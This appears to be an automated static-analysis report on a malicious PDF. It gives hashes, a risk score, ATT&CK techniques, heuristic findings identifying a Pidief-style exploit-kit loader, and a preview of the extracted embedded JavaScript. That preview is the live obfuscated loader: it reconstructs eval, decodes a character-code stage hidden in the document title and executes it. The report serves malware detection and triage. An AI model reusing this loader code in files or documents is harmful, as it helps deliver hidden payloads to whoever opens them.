Malicious PDF — malware analysis report

Static analysis result for SHA-256 4b28a735553ccaf0…

MALICIOUS

PDF

44.8 KB First seen: 2013-08-01
MD5: 287dcf56240552c8bd38b367e9af0ec9 SHA-1: b391210fa85800917cd9c898782393f68e303ed2 SHA-256: 4b28a735553ccaf05d06d38505b882ace9635668c084f8cb9984ed74bba4fc05
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File

The PDF document was flagged as malicious by an ML classifier with high confidence. Static analysis revealed embedded JavaScript, which is a common technique for delivering exploits or downloading secondary payloads. The presence of JavaScript actions and embedded JS streams indicates a high likelihood of malicious intent.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB003 614 bytes
SHA-256: c6f55417e544604869652e4f7a2a51b8f26cba632c34841358f0ef36a5229154
Preview script
First 1,000 lines of the extracted script
fzkaj='';
v='s'+'u';
try{try{qwe()}catch(a){gsdg()}}catch(e){v+=('wqg','b'+'st');}
qwe = ('webweb',v)[v+'r'];
t='le';
a=["e","a","n","b","w","v",'r'];
try{try{qwe()}catch(a){gsdg()}}catch(e){v+=('wqg','b'+'st');}
qwe = ('webweb',v)[v+'r'];
t='le';
b='v';
a=["e","a","n","b","w",b,'r'];
e=(t,qwe)()[a[0]+a[5]+a[1]+(a,t[0])];
hccc=e('ti'+'tle');
s=hccc.substr(t.length + 8,3)+'str';
q=hccc[s](1,(1,9));
dih=e('S'+'tring.fro'+q);
q=hccc[s](14).split('u');;
e('k=q.length');
for (i = 0; i != k; i+=2) {
	dcaw = parseInt(q[i+1]) + parseInt(('erybjkerl',q[i]));
	fzkaj += dih(dcaw);
}
e(fzkaj);

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